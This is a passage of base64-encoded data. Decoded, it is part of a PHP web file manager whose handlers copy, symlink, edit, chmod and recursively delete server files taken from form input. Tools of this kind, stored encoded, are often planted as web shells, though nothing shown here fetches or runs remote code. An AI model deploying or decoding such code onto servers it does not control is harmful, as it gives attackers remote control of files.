DQoJCQkkbWVzc2FnZSA9ICcnOw0KCQkJaWYgKHNpemVvZigkZmFpbHVyZSkgPiAwKSB7DQoJCQkJ
JG1lc3NhZ2UgPSBlcnJvcignbm90X2NvcGllZCcsIGltcGxvZGUoIlxuIiwgJGZhaWx1cmUpLCAk
ZGVzdCk7DQoJCQl9DQoJCQlpZiAoc2l6ZW9mKCRzdWNjZXNzKSA+IDApIHsNCgkJCQkkbWVzc2Fn
ZSAuPSBub3RpY2UoJ2NvcGllZCcsIGltcGxvZGUoIlxuIiwgJHN1Y2Nlc3MpLCAkZGVzdCk7DQoJ
CQl9DQoNCgkJCWxpc3RpbmdfcGFnZSgkbWVzc2FnZSk7DQoNCgkJfSBlbHNlIHsNCg0KCQkJaWYg
KCFAZmlsZV9leGlzdHMoJGRlc3QpICYmIEBjb3B5KCRmaWxlLCAkZGVzdCkpIHsNCgkJCQlsaXN0
aW5nX3BhZ2Uobm90aWNlKCdjb3BpZWQnLCAkZmlsZSwgJGRlc3QpKTsNCgkJCX0gZWxzZSB7DQoJ
CQkJbGlzdGluZ19wYWdlKGVycm9yKCdub3RfY29waWVkJywgJGZpbGUsICRkZXN0KSk7DQoJCQl9
DQoNCgkJfQ0KDQoJfSBlbHNlIHsNCg0KCQlodG1sX2hlYWRlcigpOw0KDQoJCWVjaG8gJzxmb3Jt
IGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4NCg0KPHRhYmxlIGNsYXNzPSJk
aWFsb2ciPg0KPHRyPg0KPHRkIGNsYXNzPSJkaWFsb2ciPg0KJzsNCg0KCQlyZXF1ZXN0X2R1bXAo
KTsNCg0KCQllY2hvICJcbjxiPiIgLiB3b3JkKCdjb3B5X2ZpbGVzJykgLiAnPC9iPg0KCTxwPg0K
JzsNCg0KCQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCgkJCWVjaG8gIlx0IiAuIGh0bWwo
JGZpbGUpIC4gIjxiciAvPlxuIjsNCgkJfQ0KDQoJCWVjaG8gJwk8L3A+DQoJPGhyIC8+DQoJJyAu
IHdvcmQoJ2Rlc3RpbmF0aW9uJykgLiAnOg0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkZXN0
aW5hdGlvbiIgc2l6ZT0iJyAuIHRleHRmaWVsZHNpemUoJGRpcmVjdG9yeSkgLiAnIiB2YWx1ZT0i
JyAuIGh0bWwoJGRpcmVjdG9yeSkgLiAnIiAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVl
PSInIC4gd29yZCgnY29weScpIC4gJyIgLz4NCjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCg0KPHA+
PGEgaHJlZj0iJyAuICRzZWxmIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkZGlyZWN0b3J5KSAuICci
PlsgJyAuIHdvcmQoJ2JhY2snKSAuICcgXTwvYT48L3A+DQoNCjwvZm9ybT4NCg0KJzsNCg0KCQlo
dG1sX2Zvb3RlcigpOw0KDQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ2NyZWF0ZV9zeW1saW5rJzoN
Cg0KCWlmICghZW1wdHkoJF9QT1NUWydkZXN0aW5hdGlvbiddKSkgew0KDQoJCSRkZXN0ID0gcmVs
YXRpdmUyYWJzb2x1dGUoJF9QT1NUWydkZXN0aW5hdGlvbiddLCAkZGlyZWN0b3J5KTsNCg0KCQlp
ZiAoc3Vic3RyKCRkZXN0LCAtMSwgMSkgPT0gJGRlbGltKSAkZGVzdCAuPSBiYXNlbmFtZSgkZmls
ZSk7DQoNCgkJaWYgKCFlbXB0eSgkX1BPU1RbJ3JlbGF0aXZlJ10pKSAkZmlsZSA9IGFic29sdXRl
MnJlbGF0aXZlKGFkZHNsYXNoKGRpcm5hbWUoJGRlc3QpKSwgJGZpbGUpOw0KDQoJCWlmICghQGZp
bGVfZXhpc3RzKCRkZXN0KSAmJiBAc3ltbGluaygkZmlsZSwgJGRlc3QpKSB7DQoJCQlsaXN0aW5n
X3BhZ2Uobm90aWNlKCdzeW1saW5rZWQnLCAkZmlsZSwgJGRlc3QpKTsNCgkJfSBlbHNlIHsNCgkJ
CWxpc3RpbmdfcGFnZShlcnJvcignbm90X3N5bWxpbmtlZCcsICRmaWxlLCAkZGVzdCkpOw0KCQl9
DQoNCgl9IGVsc2Ugew0KDQoJCWh0bWxfaGVhZGVyKCk7DQoNCgkJZWNobyAnPGZvcm0gYWN0aW9u
PSInIC4gJHNlbGYgLiAnIiBtZXRob2Q9InBvc3QiPg0KDQo8dGFibGUgY2xhc3M9ImRpYWxvZyIg
aWQ9InN5bWxpbmsiPg0KPHRyPg0KCTx0ZCBzdHlsZT0idmVydGljYWwtYWxpZ246IHRvcCI+JyAu
IHdvcmQoJ2Rlc3RpbmF0aW9uJykgLiAnOiA8L3RkPg0KCTx0ZD4NCgkJPGI+JyAuIGh0bWwoJGZp
bGUpIC4gJzwvYj48YnIgLz4NCgkJPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJyZWxhdGl2
ZSIgdmFsdWU9InllcyIgaWQ9ImNoZWNrYm94X3JlbGF0aXZlIiBjaGVja2VkPSJjaGVja2VkIiBz
dHlsZT0ibWFyZ2luLXRvcDogMWV4IiAvPg0KCQk8bGFiZWwgZm9yPSJjaGVja2JveF9yZWxhdGl2
ZSI+JyAuIHdvcmQoJ3JlbGF0aXZlJykgLiAnPC9sYWJlbD4NCgkJPGlucHV0IHR5cGU9ImhpZGRl
biIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iY3JlYXRlX3N5bWxpbmsiIC8+DQoJCTxpbnB1dCB0eXBl
PSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSInIC4gaHRtbCgkZmlsZSkgLiAnIiAvPg0KCQk8
aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkaXIiIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5
KSAuICciIC8+DQoJPC90ZD4NCjwvdHI+DQo8dHI+DQoJPHRkPicgLiB3b3JkKCdzeW1saW5rJykg
LiAnOiA8L3RkPg0KCTx0ZD4NCgkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlc3RpbmF0aW9u
IiBzaXplPSInIC4gdGV4dGZpZWxkc2l6ZSgkZGlyZWN0b3J5KSAuICciIHZhbHVlPSInIC4gaHRt
bCgkZGlyZWN0b3J5KSAuICciIC8+DQoJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInIC4g
d29yZCgnY3JlYXRlX3N5bWxpbmsnKSAuICciIC8+DQoJPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0K
DQo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3Rvcnkp
IC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4NCg0KPC9mb3JtPg0KDQonOw0K
DQoJCWh0bWxfZm9vdGVyKCk7DQoNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnZWRpdCc6DQoNCglp
ZiAoIWVtcHR5KCRfUE9TVFsnc2F2ZSddKSkgew0KDQoJCSRjb250ZW50ID0gc3RyX3JlcGxhY2Uo
IlxyXG4iLCAiXG4iLCAkX1BPU1RbJ2NvbnRlbnQnXSk7DQoNCgkJaWYgKCgkZiA9IEBmb3Blbigk
ZmlsZSwgJ3cnKSkgJiYgQGZ3cml0ZSgkZiwgJGNvbnRlbnQpICE9PSBmYWxzZSAmJiBAZmNsb3Nl
KCRmKSkgew0KCQkJbGlzdGluZ19wYWdlKG5vdGljZSgnc2F2ZWQnLCAkZmlsZSkpOw0KCQl9IGVs
c2Ugew0KCQkJbGlzdGluZ19wYWdlKGVycm9yKCdub3Rfc2F2ZWQnLCAkZmlsZSkpOw0KCQl9DQoN
Cgl9IGVsc2Ugew0KDQoJCWlmIChAaXNfcmVhZGFibGUoJGZpbGUpICYmIEBpc193cml0YWJsZSgk
ZmlsZSkpIHsNCgkJCWVkaXQoJGZpbGUpOw0KCQl9IGVsc2Ugew0KCQkJbGlzdGluZ19wYWdlKGVy
cm9yKCdub3RfZWRpdGVkJywgJGZpbGUpKTsNCgkJfQ0KDQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2Ug
J3Blcm1pc3Npb24nOg0KDQoJaWYgKCFlbXB0eSgkX1BPU1RbJ3NldCddKSkgew0KDQoJCSRtb2Rl
ID0gMDsNCgkJaWYgKCFlbXB0eSgkX1BPU1RbJ3VyJ10pKSAkbW9kZSB8PSAwNDAwOyBpZiAoIWVt
cHR5KCRfUE9TVFsndXcnXSkpICRtb2RlIHw9IDAyMDA7IGlmICghZW1wdHkoJF9QT1NUWyd1eCdd
KSkgJG1vZGUgfD0gMDEwMDsNCgkJaWYgKCFlbXB0eSgkX1BPU1RbJ2dyJ10pKSAkbW9kZSB8PSAw
MDQwOyBpZiAoIWVtcHR5KCRfUE9TVFsnZ3cnXSkpICRtb2RlIHw9IDAwMjA7IGlmICghZW1wdHko
JF9QT1NUWydneCddKSkgJG1vZGUgfD0gMDAxMDsNCgkJaWYgKCFlbXB0eSgkX1BPU1RbJ29yJ10p
KSAkbW9kZSB8PSAwMDA0OyBpZiAoIWVtcHR5KCRfUE9TVFsnb3cnXSkpICRtb2RlIHw9IDAwMDI7
IGlmICghZW1wdHkoJF9QT1NUWydveCddKSkgJG1vZGUgfD0gMDAwMTsNCg0KCQlpZiAoQGNobW9k
KCRmaWxlLCAkbW9kZSkpIHsNCgkJCWxpc3RpbmdfcGFnZShub3RpY2UoJ3Blcm1pc3Npb25fc2V0
JywgJGZpbGUsIGRlY29jdCgkbW9kZSkpKTsNCgkJfSBlbHNlIHsNCgkJCWxpc3RpbmdfcGFnZShl
cnJvcigncGVybWlzc2lvbl9ub3Rfc2V0JywgJGZpbGUsIGRlY29jdCgkbW9kZSkpKTsNCgkJfQ0K
DQoJfSBlbHNlIHsNCg0KCQlodG1sX2hlYWRlcigpOw0KDQoJCSRtb2RlID0gZmlsZXBlcm1zKCRm
aWxlKTsNCg0KCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9z
dCI+DQoNCjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4NCjx0cj4NCjx0ZCBjbGFzcz0iZGlhbG9nIj4N
Cg0KCTxwIHN0eWxlPSJtYXJnaW46IDAiPicgLiBwaHJhc2UoJ3Blcm1pc3Npb25fZm9yJywgJGZp
bGUpIC4gJzwvcD4NCg0KCTxociAvPg0KDQoJPHRhYmxlIGlkPSJwZXJtaXNzaW9uIj4NCgk8dHI+
DQoJCTx0ZD48L3RkPg0KCQk8dGQgc3R5bGU9ImJvcmRlci1yaWdodDogMXB4IHNvbGlkIGJsYWNr
Ij4nIC4gd29yZCgnb3duZXInKSAuICc8L3RkPg0KCQk8dGQgc3R5bGU9ImJvcmRlci1yaWdodDog
MXB4IHNvbGlkIGJsYWNrIj4nIC4gd29yZCgnZ3JvdXAnKSAuICc8L3RkPg0KCQk8dGQ+JyAuIHdv
cmQoJ290aGVyJykgLiAnPC90ZD4NCgk8L3RyPg0KCTx0cj4NCgkJPHRkIHN0eWxlPSJ0ZXh0LWFs
aWduOiByaWdodCI+JyAuIHdvcmQoJ3JlYWQnKSAuICc6PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBl
PSJjaGVja2JveCIgbmFtZT0idXIiIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwNDAwKSBlY2hv
ICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9
ImNoZWNrYm94IiBuYW1lPSJnciIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAwNDApIGVjaG8g
JyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+DQoJCTx0ZD48aW5wdXQgdHlwZT0i
Y2hlY2tib3giIG5hbWU9Im9yIiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDAwNCkgZWNobyAn
IGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4NCgk8L3RyPg0KCTx0cj4NCgkJPHRk
IHN0eWxlPSJ0ZXh0LWFsaWduOiByaWdodCI+JyAuIHdvcmQoJ3dyaXRlJykgLiAnOjwvdGQ+DQoJ
CTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InV3IiB2YWx1ZT0iMSInOyBpZiAoJG1v
ZGUgJiAwMDIwMCkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4NCgkJ
PHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZ3ciIHZhbHVlPSIxIic7IGlmICgkbW9k
ZSAmIDAwMDIwKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPg0KCQk8
dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvdyIgdmFsdWU9IjEiJzsgaWYgKCRtb2Rl
ICYgMDAwMDIpIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+DQoJPC90
cj4NCgk8dHI+DQoJCTx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQiPicgLiB3b3JkKCdleGVj
dXRlJykgLiAnOjwvdGQ+DQoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InV4IiB2
YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDEwMCkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsg
ZWNobyAnIC8+PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZ3giIHZh
bHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMDEwKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBl
Y2hvICcgLz48L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJveCIgdmFs
dWU9IjEiJzsgaWYgKCRtb2RlICYgMDAwMDEpIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVj
aG8gJyAvPjwvdGQ+DQoJPC90cj4NCgk8L3RhYmxlPg0KDQoJPGhyIC8+DQoNCgk8aW5wdXQgdHlw
ZT0ic3VibWl0IiBuYW1lPSJzZXQiIHZhbHVlPSInIC4gd29yZCgnc2V0JykgLiAnIiAvPg0KDQoJ
PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0icGVybWlzc2lvbiIgLz4N
Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJyAuIGh0bWwoJGZpbGUp
IC4gJyIgLz4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkaXIiIHZhbHVlPSInIC4gaHRt
bCgkZGlyZWN0b3J5KSAuICciIC8+DQoNCjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCg0KPHA+PGEg
aHJlZj0iJyAuICRzZWxmIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkZGlyZWN0b3J5KSAuICciPlsg
JyAuIHdvcmQoJ2JhY2snKSAuICcgXTwvYT48L3A+DQoNCjwvZm9ybT4NCg0KJzsNCg0KCQlodG1s
X2Zvb3RlcigpOw0KDQoJfQ0KDQoJYnJlYWs7DQoNCmRlZmF1bHQ6DQoNCglsaXN0aW5nX3BhZ2Uo
bnVsbCk7DQoNCn0NCg0KLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqLw0KDQpmdW5jdGlvbiBnZXRsaXN0
ICgkZGlyZWN0b3J5KSB7DQoJZ2xvYmFsICRkZWxpbSwgJHdpbjsNCg0KCWlmICgkZCA9IEBvcGVu
ZGlyKCRkaXJlY3RvcnkpKSB7DQoNCgkJd2hpbGUgKCgkZmlsZW5hbWUgPSBAcmVhZGRpcigkZCkp
ICE9PSBmYWxzZSkgew0KDQoJCQkkcGF0aCA9IHJlbGF0aXZlMmFic29sdXRlKCRmaWxlbmFtZSwg
JGRpcmVjdG9yeSk7DQoNCgkJCWlmICgkc3RhdCA9IEBsc3RhdCgkcGF0aCkpIHsNCg0KCQkJCSRm
aWxlID0gYXJyYXkoDQoJCQkJCSdmaWxlbmFtZScgICAgPT4gJGZpbGVuYW1lLA0KCQkJCQkncGF0
aCcgICAgICAgID0+ICRwYXRoLA0KCQkJCQknaXNfZmlsZScgICAgID0+IEBpc19maWxlKCRwYXRo
KSwNCgkJCQkJJ2lzX2RpcicgICAgICA9PiBAaXNfZGlyKCRwYXRoKSwNCgkJCQkJJ2lzX2xpbmsn
ICAgICA9PiBAaXNfbGluaygkcGF0aCksDQoJCQkJCSdpc19yZWFkYWJsZScgPT4gQGlzX3JlYWRh
YmxlKCRwYXRoKSwNCgkJCQkJJ2lzX3dyaXRhYmxlJyA9PiBAaXNfd3JpdGFibGUoJHBhdGgpLA0K
CQkJCQknc2l6ZScgICAgICAgID0+ICRzdGF0WydzaXplJ10sDQoJCQkJCSdwZXJtaXNzaW9uJyAg
PT4gJHN0YXRbJ21vZGUnXSwNCgkJCQkJJ293bmVyJyAgICAgICA9PiAkc3RhdFsndWlkJ10sDQoJ
CQkJCSdncm91cCcgICAgICAgPT4gJHN0YXRbJ2dpZCddLA0KCQkJCQknbXRpbWUnICAgICAgID0+
IEBmaWxlbXRpbWUoJHBhdGgpLA0KCQkJCQknYXRpbWUnICAgICAgID0+IEBmaWxlYXRpbWUoJHBh
dGgpLA0KCQkJCQknY3RpbWUnICAgICAgID0+IEBmaWxlY3RpbWUoJHBhdGgpDQoJCQkJKTsNCg0K
CQkJCWlmICghJHdpbikgew0KCQkJCQlpZiAoJGZpbGVbJ2lzX2RpciddKSB7DQoJCQkJCQkvKiBh
bHNvIHJldHVybnMgdHJ1ZSwgaWYgdGhlIGRpcmVjdG9yeSBpcyBub3QNCgkJCQkJCSAqIGV4ZWN1
dGFibGUgYnV0IHJlYWRhYmxlDQoJCQkJCQkgKi8NCgkJCQkJCWlmICgoJG8gPSBAb3BlbmRpcigk
cGF0aCkpICE9PSBmYWxzZSkgew0KCQkJCQkJCWNsb3NlZGlyKCRvKTsNCgkJCQkJCQkkZmlsZVsn
aXNfZXhlY3V0YWJsZSddID0gdHJ1ZTsNCgkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJJGZpbGVbJ2lz
X2V4ZWN1dGFibGUnXSA9IGZhbHNlOw0KCQkJCQkJfQ0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJJGZp
bGVbJ2lzX2V4ZWN1dGFibGUnXSA9IEBpc19leGVjdXRhYmxlKCRwYXRoKTsNCgkJCQkJfQ0KCQkJ
CX0gZWxzZSB7DQoJCQkJCSRmaWxlWydpc19leGVjdXRhYmxlJ10gPSB0cnVlOw0KCQkJCX0NCg0K
CQkJCWlmICgkZmlsZVsnaXNfbGluayddKSAkZmlsZVsndGFyZ2V0J10gPSBAcmVhZGxpbmsoJHBh
dGgpOw0KDQoJCQkJaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgJGZpbGVb
J293bmVyX25hbWUnXSA9IEByZXNldChwb3NpeF9nZXRwd3VpZCgkZmlsZVsnb3duZXInXSkpOw0K
CQkJCWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpICRmaWxlWydncm91cF9u
YW1lJ10gPSBAcmVzZXQocG9zaXhfZ2V0Z3JnaWQoJGZpbGVbJ2dyb3VwJ10pKTsNCg0KCQkJCSRm
aWxlc1tdID0gJGZpbGU7DQoNCgkJCX0NCg0KCQl9DQoNCgkJcmV0dXJuICRmaWxlczsNCg0KCX0g
ZWxzZSB7DQoJCXJldHVybiBmYWxzZTsNCgl9DQoNCn0NCg0KZnVuY3Rpb24gc29ydGxpc3QgKCYk
bGlzdCwgJGtleSwgJHJldmVyc2UpIHsNCg0KCXF1aWNrc29ydCgkbGlzdCwgMCwgc2l6ZW9mKCRs
aXN0KSAtIDEsICRrZXkpOw0KDQoJaWYgKCRyZXZlcnNlKSAkbGlzdCA9IGFycmF5X3JldmVyc2Uo
JGxpc3QpOw0KDQp9DQoNCmZ1bmN0aW9uIHF1aWNrc29ydCAoJiRhcnJheSwgJGZpcnN0LCAkbGFz
dCwgJGtleSkgew0KDQoJaWYgKCRmaXJzdCA8ICRsYXN0KSB7DQoNCgkJJGNtcCA9ICRhcnJheVtm
bG9vcigoJGZpcnN0ICsgJGxhc3QpIC8gMildWyRrZXldOw0KDQoJCSRsID0gJGZpcnN0Ow0KCQkk
ciA9ICRsYXN0Ow0KDQoJCXdoaWxlICgkbCA8PSAkcikgew0KDQoJCQl3aGlsZSAoJGFycmF5WyRs
XVska2V5XSA8ICRjbXApICRsKys7DQoJCQl3aGlsZSAoJGFycmF5WyRyXVska2V5XSA+ICRjbXAp
ICRyLS07DQoNCgkJCWlmICgkbCA8PSAkcikgew0KDQoJCQkJJHRtcCA9ICRhcnJheVskbF07DQoJ
CQkJJGFycmF5WyRsXSA9ICRhcnJheVskcl07DQoJCQkJJGFycmF5WyRyXSA9ICR0bXA7DQoNCgkJ
CQkkbCsrOw0KCQkJCSRyLS07DQoNCgkJCX0NCg0KCQl9DQoNCgkJcXVpY2tzb3J0KCRhcnJheSwg
JGZpcnN0LCAkciwgJGtleSk7DQoJCXF1aWNrc29ydCgkYXJyYXksICRsLCAkbGFzdCwgJGtleSk7
DQoNCgl9DQoNCn0NCg0KZnVuY3Rpb24gcGVybWlzc2lvbl9vY3RhbDJzdHJpbmcgKCRtb2RlKSB7
DQoNCglpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7DQoJCSR0eXBlID0gJ3MnOw0K
CX0gZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDApIHsNCgkJJHR5cGUgPSAnbCc7
DQoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgew0KCQkkdHlwZSA9ICct
JzsNCgl9IGVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7DQoJCSR0eXBlID0g
J2InOw0KCX0gZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApIHsNCgkJJHR5cGUg
PSAnZCc7DQoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgew0KCQkkdHlw
ZSA9ICdjJzsNCgl9IGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7DQoJCSR0
eXBlID0gJ3AnOw0KCX0gZWxzZSB7DQoJCSR0eXBlID0gJz8nOw0KCX0NCg0KCSRvd25lciAgPSAo
JG1vZGUgJiAwMDQwMCkgPyAncicgOiAnLSc7DQoJJG93bmVyIC49ICgkbW9kZSAmIDAwMjAwKSA/
ICd3JyA6ICctJzsNCglpZiAoJG1vZGUgJiAweDgwMCkgew0KCQkkb3duZXIgLj0gKCRtb2RlICYg
MDAxMDApID8gJ3MnIDogJ1MnOw0KCX0gZWxzZSB7DQoJCSRvd25lciAuPSAoJG1vZGUgJiAwMDEw
MCkgPyAneCcgOiAnLSc7DQoJfQ0KDQoJJGdyb3VwICA9ICgkbW9kZSAmIDAwMDQwKSA/ICdyJyA6
ICctJzsNCgkkZ3JvdXAgLj0gKCRtb2RlICYgMDAwMjApID8gJ3cnIDogJy0nOw0KCWlmICgkbW9k
ZSAmIDB4NDAwKSB7DQoJCSRncm91cCAuPSAoJG1vZGUgJiAwMDAxMCkgPyAncycgOiAnUyc7DQoJ
fSBlbHNlIHsNCgkJJGdyb3VwIC49ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzsNCgl9DQoN
Cgkkb3RoZXIgID0gKCRtb2RlICYgMDAwMDQpID8gJ3InIDogJy0nOw0KCSRvdGhlciAuPSAoJG1v
ZGUgJiAwMDAwMikgPyAndycgOiAnLSc7DQoJaWYgKCRtb2RlICYgMHgyMDApIHsNCgkJJG90aGVy
IC49ICgkbW9kZSAmIDAwMDAxKSA/ICd0JyA6ICdUJzsNCgl9IGVsc2Ugew0KCQkkb3RoZXIgLj0g
KCRtb2RlICYgMDAwMDEpID8gJ3gnIDogJy0nOw0KCX0NCg0KCXJldHVybiAkdHlwZSAuICRvd25l
ciAuICRncm91cCAuICRvdGhlcjsNCg0KfQ0KDQpmdW5jdGlvbiBpc19zY3JpcHQgKCRmaWxlbmFt
ZSkgew0KCXJldHVybiBlcmVnKCdcLnBocCR8XC5waHAzJHxcLnBocDQkfFwucGhwNSQnLCAkZmls
ZW5hbWUpOw0KfQ0KDQpmdW5jdGlvbiBnZXRtaW1ldHlwZSAoJGZpbGVuYW1lKSB7DQoJc3RhdGlj
ICRtaW1lcyA9IGFycmF5KA0KCQknXC5qcGckfFwuanBlZyQnICA9PiAnaW1hZ2UvanBlZycsDQoJ
CSdcLmdpZiQnICAgICAgICAgID0+ICdpbWFnZS9naWYnLA0KCQknXC5wbmckJyAgICAgICAgICA9
PiAnaW1hZ2UvcG5nJywNCgkJJ1wuaHRtbCR8XC5odG1sJCcgPT4gJ3RleHQvaHRtbCcsDQoJCSdc
LnR4dCR8XC5hc2MkJyAgID0+ICd0ZXh0L3BsYWluJywNCgkJJ1wueG1sJHxcLnhzbCQnICAgPT4g
J2FwcGxpY2F0aW9uL3htbCcsDQoJCSdcLnBkZiQnICAgICAgICAgID0+ICdhcHBsaWNhdGlvbi9w
ZGYnDQoJKTsNCg0KCWZvcmVhY2ggKCRtaW1lcyBhcyAkcmVnZXggPT4gJG1pbWUpIHsNCgkJaWYg
KGVyZWdpKCRyZWdleCwgJGZpbGVuYW1lKSkgcmV0dXJuICRtaW1lOw0KCX0NCg0KCS8vIHJldHVy
biAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJzsNCglyZXR1cm4gJ3RleHQvcGxhaW4nOw0KDQp9
DQoNCmZ1bmN0aW9uIGRlbCAoJGZpbGUpIHsNCglnbG9iYWwgJGRlbGltOw0KDQoJaWYgKCFAaXNf
bGluaygkZmlsZSkgJiYgIWZpbGVfZXhpc3RzKCRmaWxlKSkgcmV0dXJuIGZhbHNlOw0KDQoJaWYg
KCFAaXNfbGluaygkZmlsZSkgJiYgQGlzX2RpcigkZmlsZSkpIHsNCg0KCQlpZiAoJGRpciA9IEBv
cGVuZGlyKCRmaWxlKSkgew0KDQoJCQkkZXJyb3IgPSBmYWxzZTsNCg0KCQkJd2hpbGUgKCgkZiA9
IHJlYWRkaXIoJGRpcikpICE9PSBmYWxzZSkgew0KCQkJCWlmICgkZiAhPSAnLicgJiYgJGYgIT0g
Jy4uJyAmJiAhZGVsKCRmaWxlIC4gJGRlbGltIC4gJGYpKSB7DQoJCQkJCSRlcnJvciA9IHRydWU7
DQoJCQkJfQ0KCQkJfQ0KCQkJY2xvc2VkaXIoJGRpcik7DQoNCgkJCWlmICghJGVycm9yKSByZXR1
cm4gQHJtZGlyKCRmaWxlKTsNCg0KCQkJcmV0dXJuICEkZXJyb3I7DQoNCgkJfSBlbHNlIHsNCgkJ
CXJldHVybiBmYWxzZTsNCgkJfQ0KDQoJfSBlbHNlIHsNCgkJcmV0dXJuIEB1bmxpbmsoJGZpbGUp
Ow0KCX0NCg0KfQ0KDQpmdW5jdGlvbiBhZGRzbGFzaCAoJGRpcmVjdG9yeSkgew0KCWdsb2JhbCAk
ZGVsaW07DQoNCglpZiAoc3Vic3RyKCRkaXJlY3RvcnksIC0xLCAxKSAhPSAkZGVsaW0pIHsNCgkJ
cmV0dXJuICRkaXJlY3RvcnkgLiAkZGVsaW07DQoJfSBlbHNlIHsNCgkJcmV0dXJuICRkaXJlY3Rv
cnk7DQoJfQ0KDQp9DQoNCmZ1bmN0aW9uIHJlbGF0aXZlMmFic29sdXRlICgkc3RyaW5nLCAkZGly
ZWN0b3J5KSB7DQoNCglpZiAocGF0aF9pc19yZWxhdGl2ZSgkc3RyaW5nKSkgew0KCQlyZXR1cm4g
c2ltcGxpZnlfcGF0aChhZGRzbGFzaCgkZGlyZWN0b3J5KSAuICRzdHJpbmcpOw0KCX0gZWxzZSB7
DQoJCXJldHVybiBzaW1wbGlmeV9wYXRoKCRzdHJpbmcpOw0KCX0NCg0KfQ0KDQpmdW5jdGlvbiBw
YXRoX2lzX3JlbGF0aXZlICgkcGF0aCkgew0KCWdsb2JhbCAkd2luOw0KDQoJaWYgKCR3aW4pIHsN
CgkJcmV0dXJuIChzdWJzdHIoJHBhdGgsIDEsIDEpICE9ICc6Jyk7DQoJfSBlbHNlIHsNCgkJcmV0
dXJuIChzdWJzdHIoJHBhdGgsIDAsIDEpICE9ICcvJyk7DQoJfQ0KDQp9DQoNCmZ1bmN0aW9uIGFi
c29sdXRlMnJlbGF0aXZlICgkZGlyZWN0b3J5LCAkdGFyZ2V0KSB7DQoJZ2xvYmFsICRkZWxpbTsN
Cg0KCSRwYXRoID0gJyc7DQoJd2hpbGUgKCRkaXJlY3RvcnkgIT0gJHRhcmdldCkgew0KCQlpZiAo
